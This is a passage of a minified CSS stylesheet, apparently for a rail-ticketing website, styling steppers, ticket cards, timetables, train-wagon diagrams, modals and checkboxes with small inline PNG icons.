.stepper-item:after,.stepper-wrapper .stepper-item:before{position:absolute;content:"";border-bottom:2px solid #006ab3;width:100%;top:12px;z-index:2}.stepper-wrapper .stepper-item:after{left:50%}.stepper-wrapper .stepper-item:first-child:before,.stepper-wrapper .stepper-item:last-child:after{content:none}.stepper-wrapper .stepper-item.active{font-weight:700}.stepper-wrapper .stepper-item.active .step-name{color:#006ab3}.stepper-wrapper .stepper-item.active .step-counter{background-color:#006ab3;color:#fff}.stepper-wrapper .stepper-item .step-counter{position:relative;z-index:5;display:-ms-flexbox;display:flex;-ms-flex-pack:center;justify-content:center;-ms-flex-align:center;align-items:center;width:25px;height:25px;border-radius:50%;background:#fff;margin-bottom:6px;border:2px solid #006ab3}.stepper-wrapper--inverse .stepper-item:after,.stepper-wrapper--inverse .stepper-item:before{border-color:#fff!important}.stepper-wrapper--inverse .stepper-item.active .step-name{color:#fff}.stepper-wrapper--inverse .stepper-item.active .step-counter{color:#000!important;background-color:#fff!important}.stepper-wrapper--inverse .step-counter{background-color:#006ab3!important;border:2px solid #fff!important;color:#fff}.stepper-wrapper--purple .stepper-item:after,.stepper-wrapper--purple .stepper-item:before{border-color:#66469b!important}.stepper-wrapper--purple .stepper-item.active .step-name{color:#66469b}.stepper-wrapper--purple .stepper-item.active .step-counter{color:#fff!important;background-color:#66469b!important}.stepper-wrapper--purple .step-counter{border:2px solid #66469b!important;color:#66469b}.stepper-wrapper--dark .stepper-item:after,.stepper-wrapper--dark .stepper-item:before{border-color:#000!important}.stepper-wrapper--dark .stepper-item.active .step-name{color:#000}.stepper-wrapper--dark .stepper-item.active .step-counter{color:#fff!important;background-color:#000!important}.stepper-wrapper--dark .step-counter{border:2px solid #000!important;color:#000}.sticky-bar{position:fixed;bottom:0;left:350px;height:65px;width:calc(100% - 350px);background-color:#fff;display:-ms-flexbox;display:flex;-ms-flex-direction:row;flex-direction:row;-ms-flex-wrap:nowrap;flex-wrap:nowrap;-ms-flex-align:center;align-items:center;-ms-flex-pack:justify;justify-content:space-between;border-top:1px solid rgba(0,0,0,.2);padding:0 30px;z-index:10;display:none}.sticky-bar.is-active,.sticky-bar .sticky-bar__title{display:-ms-flexbox;display:flex}.sticky-bar .sticky-bar__title{width:70%;font-size:20px;font-weight:700;height:50px;-ms-flex-align:center;align-items:center}.sticky-bar .sticky-bar__title .sticky-bar__ellipse-text{text-overflow:ellipsis;overflow:hidden;white-space:nowrap;width:95%}.sticky-bar .sticky-bar__button{height:50px;padding:0}.sticky-bar .sticky-bar__button .cstm-stn-holder,.sticky-bar .sticky-bar__button .cstm-stn-holder .btn{margin:0!important}@media (min-width:1280px){.sticky-bar{padding-right:55px}.sticky-bar .sticky-bar__title{width:80%}}@media (min-width:1440px){.sticky-bar{width:calc(100% - 420px);left:420px;padding-right:55px}}@media (min-width:650px) and (max-width:991px){.sticky-bar{left:0;width:100%;padding:0}.sticky-bar .sticky-bar__title{display:none}.sticky-bar .sticky-bar__button{width:100%;display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;margin-right:0}.sticky-bar .sticky-bar__button .cstm-stn-holder{width:95%}.sticky-bar .sticky-bar__button .cstm-stn-holder .btn{width:100%}}@media (max-width:649px){.sticky-bar{left:0;width:100%;padding:20px;height:95px}.sticky-bar .sticky-bar__title{display:none}.sticky-bar .sticky-bar__button,.sticky-bar .sticky-bar__button .cstm-stn-holder .btn{width:100%}}table{border-collapse:collapse}table.stripes tr:nth-child(2n+2){background-color:#f6f9f9}table th{padding-top:0;text-align:left}table td,table th{padding:20px;border-bottom:2px solid #f1f5f5}table td{vertical-align:top}table.border-light tr:last-child td{border-bottom:0}.table-sm td,.table-sm th{padding:5px 10px}.table-xl td,.table-xl th{padding:30px 20px}.table-no-border td,.table-no-border th{border:0}@media (max-width:649px){.table-sm-responsive{width:100%}.table-sm-responsive thead{display:none}.table-sm-responsive tr:nth-child(2n+2){background-color:#f6f9f9}.table-sm-responsive td{display:block;word-wrap:break-word;word-break:break-word;-webkit-hyphens:auto;-ms-hyphens:auto;hyphens:auto;padding:13.33333px}.table-sm-responsive td:before{font-size:16px!important;line-height:22px!important;content:attr(data-label);font-weight:700;text-transform:uppercase;display:block}}@media (max-width:991px){.table-md-responsive{width:100%}.table-md-responsive thead{display:none}.table-md-responsive tr:nth-child(2n+2){background-color:#f6f9f9}.table-md-responsive td{display:block;word-wrap:break-word;word-break:break-word;-webkit-hyphens:auto;-ms-hyphens:auto;hyphens:auto;padding:13.33333px}.table-md-responsive td:before{font-size:16px!important;line-height:22px!important;content:attr(data-label);font-weight:700;text-transform:uppercase;display:block}}@media (max-width:1279px){.table-lg-responsive{width:100%}.table-lg-responsive thead{display:none}.table-lg-responsive tr:nth-child(2n+2){background-color:#f6f9f9}.table-lg-responsive td{display:block;word-wrap:break-word;word-break:break-word;-webkit-hyphens:auto;-ms-hyphens:auto;hyphens:auto;padding:13.33333px}.table-lg-responsive td:before{font-size:16px!important;line-height:22px!important;content:attr(data-label);font-weight:700;text-transform:uppercase;display:block}}.table-border-style--thin{border-width:1px!important}.table-border-style--normal{border-width:2px!important}.table-border-style--thick{border-width:4px!important}.table-border{border:2px solid #f1f5f5}.data-vertical-center td{vertical-align:middle!important;padding:15px!important}.data-vertical-center td .btn{top:0!important;margin-bottom:0!important}.data-vertical-center th{padding:15px!important}.tabs{padding-top:40px;height:89px;left:0}@media (min-width:650px){.tabs{height:auto;left:auto}}.tabs ul{margin:0;padding:0;font-weight:700;font-size:0;position:relative}@media (min-width:650px){.tabs ul{height:49px}}@media (max-width:650px){.tabs ul{background:#fff;z-index:10}}.tabs ul:after{content:" ";width:100%;height:1px;background:#dedede;position:absolute;left:0;bottom:0;z-index:1}.tabs ul li{padding:0;margin:0;list-style-type:none;text-align:center;font-size:18px;z-index:2;width:100%;position:relative}.tabs ul li,.tabs ul li:before{display:none}@media (min-width:650px){.tabs ul li{line-height:1;height:49px;margin-bottom:1px}}.tabs ul li .icon-wrapper{position:absolute;top:55%;transform:translateY(-50%);right:15px;display:block;cursor:pointer}.tabs ul li .icon-wrapper .icon{position:relative;top:auto;left:auto;fill:#006ab3;width:14px;height:14px}@media (min-width:650px){.tabs ul li{padding-right:20px;margin-bottom:0;display:inline-block;width:auto}.tabs ul li .icon-wrapper{display:none}}.tabs ul li a{padding:10px;display:block;border:1px solid #e1ecec;border-bottom:0;background:#e1ecec;width:100%;text-decoration:none}@media (min-width:650px){.tabs ul li a{padding:15px;border-radius:6px 6px 0 0;display:inline-block;width:auto;min-width:160px}}.tabs ul li a:hover{text-decoration:none}.tabs ul li:first-child{display:block;margin-bottom:0}@media (min-width:650px){.tabs ul li:first-child{display:inline-block}}.tabs ul li:first-child a{border-radius:6px 6px 0 0}.tabs ul li:last-child{padding-right:0}@media (min-width:650px){.tabs ul li.label{display:none}}.tabs ul li.show:not(.active){display:block}@media (max-width:650px){.tabs ul li.show:not(.active){margin:0;border-bottom:1px solid #fff}}.tabs ul li.active,.tabs ul li:hover{z-index:2}@media (min-width:650px){.tabs ul li.active,.tabs ul li:hover{margin:0}}.tabs ul li.active a,.tabs ul li:hover a{text-decoration:none;border:1px solid #dedede;border-bottom:0;background:#fff}.tabs-content>div{display:none}.tabs-content>div.active{display:block}.tags-list{margin:20px 0;padding:0;font-size:0}.tags-list li{padding:0;margin:0;list-style-type:none;display:inline-block;margin-right:10px;margin-bottom:5px;margin-top:5px}.tags-list li:before{display:none}.tags-list li .btn{padding-left:20px;padding-right:20px}.teaser-list__item{padding-left:0;margin-bottom:30px}@media (min-width:650px){.teaser-list__item{width:calc(33.33333% - 15px)}.teaser-list__item:before{display:none}.teaser-list__item--xl{width:66.66667%}}.teaser,.teaser:hover{text-decoration:none}.teaser--fixed-height .teaser__image{background-size:cover;background-repeat:no-repeat;background-position:50%;height:200px}@media (min-width:650px){.teaser--fixed-height .teaser__image{height:250px}}@media (min-width:992px){.teaser--fixed-height .teaser__image{height:275px}}@media (min-width:1280px){.teaser--fixed-height .teaser__image{height:300px}}.teaser__image{position:relative;margin:0;color:#fff}.teaser__image figcaption{position:absolute;top:20px;left:20px}.teaser__image img{width:100%;display:block}@media (min-width:992px){.teaser__image img.teaser__image__mobile{display:none}}.teaser__image img.teaser__image__mobile+img{display:none}@media (min-width:992px){.teaser__image img.teaser__image__mobile+img{display:block}}.teaser__label{background-color:rgba(58,58,58,.5);display:inline-block;font-weight:700;padding-left:2px;padding-right:2px}.teaser__content{margin-top:15px;color:#3a3a3a}.teaser__content *{margin-top:0;margin-bottom:0}.teaser__content :first-child{margin-top:0}.teaser__date{margin:0 0 10px;color:#8c8c8c;font-size:16px}.teaser__preview{margin:0 0 10px;font-size:16px;line-height:1.5em}body{font-family:Circular Std;font-size:18px;line-height:1.55556em;color:#3a3a3a;font-smoothing:antialiased;text-rendering:optimizeLegibility!important;-moz-osx-font-smoothing:grayscale}h1{font-size:36px;line-height:46px;margin:0;margin-bottom:23px}h1,h2{font-weight:700;word-break:break-word;outline:none}h2{font-size:30px;line-height:35px;margin-bottom:17px}h3{font-size:26px}h3,h4{line-height:30px;margin-bottom:15px;font-weight:700;word-break:break-word;outline:none}h4{font-size:22px}h5{font-size:20px;line-height:30px;margin-bottom:15px;font-weight:700;word-break:break-word}.h1{font-size:36px;line-height:46px;margin:0;margin-bottom:23px}.h1,.h2{font-weight:700;word-break:break-word;outline:none}.h2{font-size:30px;line-height:35px;margin-bottom:17px}.h3{font-size:26px}.h3,.h4{line-height:30px;margin-bottom:15px;font-weight:700;word-break:break-word;outline:none}.h4{font-size:22px}.h5{font-size:20px;line-height:30px;margin-bottom:15px;font-weight:700;word-break:break-word}p{margin:26px 0;orphans:3;widows:3}.light{color:#8c8c8c}.large{font-size:20px;line-height:30px;margin:30px 0}.small,small{font-size:16px!important;line-height:22px!important}p.small{margin:14px 0}i{font-style:italic}.info{color:#666}.info--inverse{color:#ddf1fa}.warning{color:#ea6022}.text-italic{font-style:italic!important}.text-left{text-align:left!important}.text-right{text-align:right!important}@media (min-width:992px){.text-right-desktop{text-align:right!important}.text-left-desktop{text-align:left!important}}.text-center{text-align:center!important}@media (min-width:0){.text-sm-left{text-align:"left"}.text-sm-right{text-align:"right"}.text-sm-center{text-align:"center"}}@media (min-width:650px){.text-md-left{text-align:"left"}.text-md-right{text-align:"right"}.text-md-center{text-align:"center"}}@media (min-width:992px){.text-lg-left{text-align:"left"}.text-lg-right{text-align:"right"}.text-lg-center{text-align:"center"}}@media (min-width:1280px){.text-xl-left{text-align:"left"}.text-xl-right{text-align:"right"}.text-xl-center{text-align:"center"}}@media (min-width:1440px){.text-hidpi-left{text-align:"left"}.text-hidpi-right{text-align:"right"}.text-hidpi-center{text-align:"center"}}@media (min-width:1800px){.text-xxl-left{text-align:"left"}.text-xxl-right{text-align:"right"}.text-xxl-center{text-align:"center"}}.text-uppercase{text-transform:uppercase!important}.text-lowercase{text-transform:lowercase!important}.text-break{word-break:break-word!important}.line-height-small{line-height:1.4rem!important}.font-weight-strong{font-weight:700}mark{background:#f6f5c0;color:currentColor;position:relative;padding-left:2px;padding-right:2px}@media (max-width:649px){.sm--small{font-size:16px!important;line-height:22px!important}.sm--large{font-size:20px;line-height:30px;margin:30px 0}.sm--info{color:#666}.sm--info--inverse{color:#ddf1fa}.sm--warning{color:#ea6022}.sm--text-italic{font-style:italic!important}.sm--text-left{text-align:left!important}.sm--text-right{text-align:right!important}.sm--text-center{text-align:center!important}.sm--text-uppercase{text-transform:uppercase!important}.sm--text-lowercase{text-transform:lowercase!important}.sm--text-break{word-break:break-word!important}.sm--line-height-small{line-height:1.4rem!important}.sm--font-weight-strong{font-weight:700}}@media (min-width:650px) and (max-width:991px){.md--small{font-size:16px!important;line-height:22px!important}.md--large{font-size:20px;line-height:30px;margin:30px 0}.md--info{color:#666}.md--info--inverse{color:#ddf1fa}.md--warning{color:#ea6022}.md--text-italic{font-style:italic!important}.md--text-left{text-align:left!important}.md--text-right{text-align:right!important}.md--text-center{text-align:center!important}.md--text-uppercase{text-transform:uppercase!important}.md--text-lowercase{text-transform:lowercase!important}.md--text-break{word-break:break-word!important}.md--line-height-small{line-height:1.4rem!important}.md--font-weight-strong{font-weight:700}}@media (min-width:992px){.lg--small{font-size:16px!important;line-height:22px!important}.lg--large{font-size:20px;line-height:30px;margin:30px 0}.lg--info{color:#666}.lg--info--inverse{color:#ddf1fa}.lg--warning{color:#ea6022}.lg--text-italic{font-style:italic!important}.lg--text-left{text-align:left!important}.lg--text-right{text-align:right!important}.lg--text-center{text-align:center!important}.lg--text-uppercase{text-transform:uppercase!important}.lg--text-lowercase{text-transform:lowercase!important}.lg--text-break{word-break:break-word!important}.lg--line-height-small{line-height:1.4rem!important}.lg--font-weight-strong{font-weight:700}}.ticket__group{margin:30px 0}.ticket{border-bottom:2px solid #f1f5f5;border-top:2px solid #f1f5f5;background:#fff;position:relative}@media (max-width:650px){.ticket+.ticket{border-top:0}.ticket .ticket_alert{padding:0 30px 20px}.ticket.ticket-full-width .ticket__icon{left:10px}.ticket.ticket-full-width .ticket__content{padding:30px 10px}.ticket .ticket__icon{left:0!important}.ticket .ticket__content{padding:30px 0!important}}.ticket__image{width:100%;height:110px;background:transparent 50%;background-size:cover}.ticket__icon{border-radius:50%;position:absolute;margin-top:3px;top:30px;left:20px}.ticket__icon,.ticket__icon .icon__holder{width:35px;height:35px}@media (min-width:1440px){.ticket__icon,.ticket__icon .icon__holder{width:45px;height:45px}}.ticket__icon+.ticket__content>.ticket__info>*{margin-left:50px}@media (min-width:1440px){.ticket__icon+.ticket__content>.ticket__info>*{margin-left:70px}}.ticket__image+.ticket__icon{top:140px}.ticket__content,.ticket__extra__list{padding:30px 20px}.ticket__codelist{margin:30px 20px;padding-top:10px;margin-top:0;border-top:2px solid #f1f5f5}.ticket__codelist__row{padding:10px 0}.ticket__codelist__row .btn{width:100%;margin-top:20px}.ticket__codelist__row .input.success+.btn{display:none}.ticket__info{min-height:50px}.ticket__extra{display:none;margin-top:10px;margin-bottom:10px}.ticket__extra div.alert--with-top-arrow{margin-top:20px}.ticket.js-ticket.reposition .ticket__extra-fixed,.ticket.reposition .ticket__extra{position:absolute;left:0;bottom:0;right:0;margin:0!important}.ticket__extra-fixed.alert,.ticket__extra.alert{margin:0}.ticket__extra-fixed>:first-child,.ticket__extra>:first-child{margin-top:0}.ticket__extra-fixed>:last-child,.ticket__extra>:last-child{margin-bottom:0}.ticket__content__info,.ticket__extra-fixed__info,.ticket__extra__info{padding:30px;padding-top:0}.ticket__extra-fixed+.ticket__extra-fixed{padding-top:0}.ticket__extra-fixed{padding:0 30px 20px}.ticket__extra__list{padding-top:0;margin-top:0}.ticket__extra__list .ticket__extra__info{padding:0}.ticket__extra__list p{margin:0}.ticket__extra__list .ticket{border:0;border-top:2px solid #f1f5f5;padding:30px 0;margin:0}.ticket__extra__list .ticket__content{padding:0}.ticket__extra__list .ticket:last-child{padding-bottom:0}.ticket__extra__list__row{margin-top:20px}.ticket__descr{color:#3a3a3a}.ticket__icons{color:#006ab3;margin-top:10px}.ticket__icons svg{margin-right:15px}.ticket__icons svg:last-child{margin-right:0}.ticket__title{position:relative;display:inline-block}.ticket__title,.ticket__title>h2{font-size:20px;line-height:30px;margin-bottom:15px;font-weight:700;word-break:break-word;line-height:1.3;margin:0}.ticket__title:hover{text-decoration:none}.ticket__title--trigger{color:#006ab3;padding-right:25px;cursor:pointer}.ticket__title .icon{width:12px;height:12px;position:absolute;top:8px;right:0;left:auto}.ticket__subtitle{font-weight:700;margin-bottom:5px;display:block}.ticket__price{font-weight:700;font-size:20px}.ticket__actions{margin-top:20px;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column}.ticket__actions>*{-ms-flex:0 1 auto;flex:0 1 auto}.ticket__actions .select,.ticket__actions select{-ms-flex:0 0 90px;flex:0 0 90px;margin-right:20px}.ticket__actions .amountpicker{display:block;top:-9px}.ticket__actions .btn,.ticket__actions>div{max-width:100%}.ticket__actions--stack .link{margin-left:0;margin-top:8px;padding-left:0}.ticket.active .ticket__title .icon{transform:rotate(180deg)}.ticket.active .ticket__extra,.ticket.active .ticket__extra-fixes{display:block}@media (min-width:650px){.ticket{border:2px solid #f1f5f5;margin:10px 0}.ticket__content,.ticket__extra,.ticket__extra-fixed{padding:30px}.ticket__content__info,.ticket__extra-fixed__info,.ticket__extra__info{padding:0}.ticket__codelist{margin:30px;margin-left:80px;margin-top:0}}@media (min-width:650px) and (min-width:1440px){.ticket__codelist{margin-left:100px}}@media (min-width:650px){.ticket__codelist__row{display:-ms-flexbox;display:flex;-ms-flex-pack:end;justify-content:flex-end;-ms-flex-align:end;align-items:flex-end}.ticket__codelist__row .input{-ms-flex:1;flex:1}.ticket__codelist__row .btn{width:auto;margin-top:0;margin-left:20px;-ms-flex:0 0 150px;flex:0 0 150px}.ticket__info{width:67%}.ticket__delivery,.ticket__info{padding-right:20px}.ticket__actions{width:40%;display:-ms-flexbox;display:flex;-ms-flex-direction:row;flex-direction:row;-ms-flex-pack:start;justify-content:flex-start;-ms-flex-align:start;align-items:flex-start}}@media (min-width:650px) and (min-width:768px){.ticket__actions{-ms-flex-pack:end;justify-content:flex-end}}@media (min-width:650px){.ticket__actions .amountpicker{max-width:60px;margin-right:10px}.ticket__actions--stack{-ms-flex-direction:column;flex-direction:column;-ms-flex-align:end;align-items:flex-end}.ticket__extra,.ticket__extra-fixed{padding-top:0;margin-top:0}.ticket__icon{top:30px;left:30px}.ticket__icon+.ticket__content+.ticket__extra__list{padding:30px;padding-top:0}}@media (min-width:992px){.ticket__content:after,.ticket__content:before{content:" ";display:table}.ticket__content:after{clear:both}.ticket__extra-fixed__info,.ticket__extra__info{margin-left:50px}}@media (min-width:992px) and (min-width:1440px){.ticket__extra-fixed__info,.ticket__extra__info{margin-left:70px}}@media (min-width:992px){.ticket__indented{float:right;padding-right:20px}.ticket__actions{margin-top:0}.ticket__actions>:not(.amountpicker){-ms-flex:initial;flex:initial}.ticket__actions .btn{margin-bottom:10px;display:block}.ticket__actions>button:only-child{max-width:215px;-ms-flex-positive:0;flex-grow:0}.ticket__content+.ticket__extra-fixed .ticket__info,.ticket__content+.ticket__extra .ticket__info{width:60%}.ticket__content+.ticket__extra-fixed .ticket__actions,.ticket__content+.ticket__extra .ticket__actions{width:40%}}@media (min-width:768px){.ticket__content{display:-ms-flexbox;display:flex}.ticket__actions{margin-top:0}}@media (min-width:1024px){.ticket .ticket__extra .ticket__info{width:60%!important}.ticket .ticket__extra .ticket__actions{width:40%}}.ticket-info-only .ticket__content{display:block!important}.ticket-info-only .ticket__content .ticket__info{width:100%}.theme-light>.ticket{border:2px solid #fff}@media (min-width:650px){.ticket-location-group{margin-bottom:-30px}.ticket-location-group .ticket-location{width:30.0003%;display:inline-block;margin-left:30px;margin-bottom:30px}.ticket-location-group .ticket-location:nth-child(3n-2){margin-left:0}}.ticket-location{width:100%;padding:20px;background:#fff;margin:0;font-size:16px;display:block}.ticket-location:hover{text-decoration:none}.ticket-location .icon,.ticket-location figcaption{display:inline-block;vertical-align:middle}.ticket-location figcaption{color:#3a3a3a}.ticket-location .icon{position:relative;width:44px;height:44px;fill:#006ab3;margin-right:30px}@media (min-width:650px){.ticket-location{width:180px;text-align:center;padding:15px}.ticket-location .icon{margin-right:0;margin-bottom:15px}.ticket-location figcaption{display:block}}.timeout-modal--open{overflow-y:hidden}.timeout-modal--open .modal-overlay,.timeout-modal--open .modal-overlay .modal{opacity:1}.modal-overlay{top:0;left:0;width:100%;height:100%;z-index:99999;background:rgba(241,245,245,.9);display:none}.modal-overlay,.modal-overlay .modal{position:fixed;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;transition:opacity .3s ease-out;opacity:0}.modal-overlay .modal{display:block;z-index:2000;overflow-y:auto;background:#fff;border-radius:5px;display:-ms-flexbox;display:flex;height:auto;width:90%}@media (min-width:650px){.modal-overlay .modal{max-width:700px;border-radius:0;width:100%}}.modal-overlay .btn{margin-bottom:10px}@media (max-width:650px){.modal-overlay .btn{width:100%}}.modal-overlay .modal-content{overflow:auto;padding:30px}@media (min-width:650px){.modal-overlay .modal-content{text-align:center;padding:30px 40px}}.modal-overlay__close{position:absolute;top:15px;right:20px;border:none;background:none;color:#006ab3;font-size:18px;font-weight:500;padding-right:0;display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:end;justify-content:flex-end}.modal-overlay__close .icon{-ms-flex:12px 0 0px;flex:12px 0 0;width:12px;height:12px;left:auto;position:relative;padding-left:0}.modal-overlay__close:hover{cursor:pointer}.time-table__header{font-weight:700;padding:30px 0;display:none}.time-table__header>div{-ms-flex:1;flex:1}.time-table__row{border-bottom:2px solid #f1f5f5;margin:0;padding:0;position:relative;padding:30px 0}.time-table__row:first-child{border-top:2px solid #f1f5f5}.time-table__row:last-child{border-bottom:none}.time-table__row .toggle{position:absolute;right:0;top:10px}.time-table__row--separator{padding-top:15px;padding-bottom:15px}.time-table__detail{display:none}.time-table__detail.is-active{display:block}.time-table dl{width:100%;margin:0}.time-table dt{float:left;width:120px;font-weight:700}.time-table dd{padding-left:120px}.time-table dd,.time-table dt{margin:0}.time-table__listing{margin:0;list-style-type:none}.time-table__listing li:before{display:none}@media (min-width:650px){.time-table__header{display:-ms-flexbox;display:flex}.time-table__detail{margin-left:82px}.time-table dl{display:-ms-flexbox;display:flex}.time-table dt{position:absolute;visibility:hidden}.time-table dd{-ms-flex:1;flex:1;padding-left:0}.time-table .time{-ms-flex:82px 0 0px;flex:82px 0 0}.time-table .platform{-ms-flex:85px 0 0px;flex:85px 0 0}.time-table .destination{-ms-flex:2;flex:2}.time-table .toggle{-ms-flex:25px 0 0px;flex:25px 0 0;display:-ms-flexbox;display:flex;position:relative;top:0}}.tooltip{padding:20px;background:#fff;box-shadow:0 2px 4px rgba(0,0,0,.25);border-radius:5px;display:none;position:relative;z-index:999}.tooltip:before{background-color:inherit;position:absolute;left:50%;top:0;bottom:auto;content:"";width:20px;height:20px;transform:translate3d(-50%,-50%,0) rotate(45deg)}.tooltip-trigger{cursor:pointer;background:none;border:0;padding:0}.tooltip.active{display:block}.dropdown .dropdown__item--details{padding:0 0 20px 110px;-ms-flex-direction:column;flex-direction:column;line-height:18px;font-size:14px}@media (min-width:650px){.dropdown .dropdown__item--details{overflow:hidden;font-size:16px}}.train-details-facilities,.train-details-visual,.train-details-visual-nav{margin-top:10px}.train-details-visual{overflow-x:auto}@media (min-width:650px){.train-details-visual{overflow:hidden}}.train-details-visual ol{display:-ms-flexbox;display:flex;position:relative}.train-details-visual li.loco-wagon{min-width:70px}.train-details-visual li{min-width:120px;margin-left:2px;display:-ms-inline-flexbox;display:inline-flex;-ms-flex-direction:column;flex-direction:column;-ms-flex-align:center;align-items:center;-ms-flex-item-align:end;align-self:flex-end}.train-details-visual li .train-details-visual__facilities{-ms-flex:1 0 auto;flex:1 0 auto;display:block;margin-bottom:30px}.train-details-visual li .train-details-visual__facilities .icon{position:relative;width:25px;height:25px;fill:#8c8c8c}.train-details-visual li .icon{background:#fff!important}.train-details-visual li .icon--wagons{display:block;bottom:0;top:auto;z-index:9;width:120px;height:30px}.train-details-visual li .icon--loco{display:block;bottom:0;top:auto;z-index:9;width:70px;height:30px}.train-details-visual li.unavailable .icon--wagons{fill:#ea6022}.train-details-visual li.middle-wagon span:only-of-type{left:auto}.train-details-visual li.middle-wagon span{left:47px}.train-details-visual li.middle-wagon span+span{left:65px}.train-details-visual li>span{position:absolute;height:30px;line-height:24px;color:#fff;font-weight:700;z-index:10;bottom:0}.train-details-visual li>span:only-of-type{left:auto}.train-details-visual li.left-wagon>span{left:35px}.train-details-visual li.left-wagon>span+span,.train-details-visual li.left-wagon>span:only-of-type{left:77px}.train-details-visual li.right-wagon>span,.train-details-visual li.right-wagon>span:only-of-type{right:77px}.train-details-visual li.right-wagon>span+span{right:35px}.train-details-visual-nav{text-align:right;display:none}@media (min-width:650px){.train-details-visual-nav{display:block}}.train-details-visual-nav a{position:relative;width:15px;height:15px;display:inline-block}.train-details-visual-nav a .icon{background:none!important;width:15px;height:15px}.train-details-facilities{font-size:0}.train-details-facilities li{font-size:14px;display:-ms-inline-flexbox;display:inline-flex;padding:10px;background:#f1f5f5;color:#8c8c8c;height:40px;min-width:40px;text-align:center;-ms-flex-line-pack:center;align-content:center;margin-right:2px;margin-bottom:2px}.train-details-facilities li:last-child{margin-right:0}.train-details-facilities li>*{-ms-flex:1 0 auto;flex:1 0 auto;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center}.train-details-facilities li .icon{position:relative;background:none!important;width:20px;height:20px}.train-details-facilities li span{display:inline-block;margin-left:8px;font-weight:700}@media (min-width:650px){.train-details-facilities li{font-size:18px;height:50px;min-width:50px}.train-details-facilities li .icon{width:25px;height:25px}.train-details-facilities li:first-child{border-top-left-radius:5px;border-bottom-left-radius:5px}.train-details-facilities li:last-child{border-top-right-radius:5px;border-bottom-right-radius:5px}}.transport-option{background:#f1f5f5;padding:10px}.transport-option:after,.transport-option:before{content:" ";display:table}.transport-option:after{clear:both}.transport-option figure{background:#fff;width:65px;height:35px;margin:0;line-height:0;vertical-align:middle;display:inline-block;margin-right:15px;text-align:center;padding:5px}.transport-option figure img{height:100%;width:auto}@media (min-width:650px){.transport-option figure{float:left;width:130px;height:70px}}.transport-option h5{font-size:18px;line-height:1;margin:0;display:inline-block}@media (min-width:650px){.transport-option h5{float:left;width:calc(100% - 15px - 135px);margin-top:15px}}.transport-option p{margin:0;margin-top:10px;font-size:16px;width:100%}@media (min-width:650px){.transport-option p{margin:0;float:left;width:calc(100% - 15px - 135px)}}.transport-option+.transport-option{margin-top:10px}.checkbox label{position:relative;padding-left:40px}.checkbox label:after{content:"";display:block;width:27px;height:27px;background:#fff;border:2px solid #dedede;border-radius:5px;position:absolute;top:-7px;left:0}.checkbox label:hover{cursor:pointer}.checkbox label:hover:after{content:"";display:block;width:27px;height:27px;background:#fff;border:2px solid #ddf1fa;border-radius:5px;position:absolute;top:-7px;left:0}.checkbox label.checked:after{background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADISURBVEhLtc7BCgFhFMXxWVGewcJr2VlLslBKKU9iYWcjmkZKXkGkvrJTNlKyESnmmitfzdSh+cYx9VvM/06n8byqL38BIwOMDDAywMgAIwOMKeXrgRQaE3jLPJyLRqfmIOPVHt4zDdvR7fEixfYMfuM8nGpUwfiBHd2drt9HFYrdYCOtkUm0+GipM0/cIBSbQyP6VPrL17vzqIIxouOPMJRyb+E+qmB8s39+vt3dRhWMMbXB2n1UwcgAIwOMDDAywMgA4898eQKHPyIadFm5ggAAAABJRU5ErkJggg==");border-color:#006ab3;background-position-x:center;background-position-y:center}.checkbox label.checked:focus:after{border-color:#000}.checkbox label.checked:hover:after{cursor:pointer;border-color:#ddf1fa;background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAUCAYAAACJfM0wAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAACsSURBVDhPY7j78dd/WuBRg+F4cBp8/dXn/1defMAqR7bBN15/+W/n7PbfxcsHqzxZBsMMlZaV+3/0+n2sakg2mBhDQZgkg2GGSkhJ4zUUhLEanFdR+7+ssRVFDNnQg5dvo8hhw1gNrmju+M/AwPC/a9ocMJ9UQ0EYZ1CADGdiYvo/Ye5ikg0FYbxhDHM5Fxc3SYaCMMHIq++eQLKhIEzQYHLxqMFwTCODf/0HADDeR7flV5Z5AAAAAElFTkSuQmCC")}.checkbox label.focus:after{border-color:#000}.checkbox td{padding:10px 0!important;border:0!important}.checkbox input{position:absolute;top:8px;left:8px;width:0;height:0;z-index:-1}.has-error .checkbox label.checked:after{background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAACjSURBVDhPY3iVoPSfmnjUQOLx6xSN/6/TtDHEyTMwRf3/z8sH//88txtDjnQDoYb9efPk/5tCKwx50gwkYBgIE28g1LC/757jNAyEMQz8umHi/y+rOlHEkA17W2KHKoeGMQz8sqL9Pwh8mlMKESPBMBDG6mWwof/+/v84PZ8kw0AYZxjCXPrvx1eiDQNhvJHyeXEDSYaBMF4DycGjBlKKlf4DACfctc0qx+A5AAAAAElFTkSuQmCC");border-color:#006ab3;background-position-x:center;background-position-y:center}.has-error .checkbox label.checked.focus:after{border-color:#006ab3}.has-error .checkbox label.checked:hover:after{background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAClSURBVDhPY/jz/sV/auJRA4nHX188+v/p2X0McbIM/Pby8X83Z8f/vp7uGHIkGwgzTF5W5v+Dq+cx5EkykJBhIEy0gTDDZKQkcRoGwhgG1pWX/G+rr0ERQzbszsXTKHLoGMPAzqa6/wwMDP/nTp0I5pNiGAhj9TLIUCYmpv9L5kwnyTAQxhmGMJdyc3ERbRgI442UiV1tJBkGwngNJAePOANf/AcAWp8oGP4hmzcAAAAASUVORK5CYII=");border-color:#df3603}.radio label{padding-left:40px;position:relative;display:block;padding-top:0;outline:none}.radio label input{position:absolute;top:8px;left:8px;width:0;height:0;z-index:-1}.radio 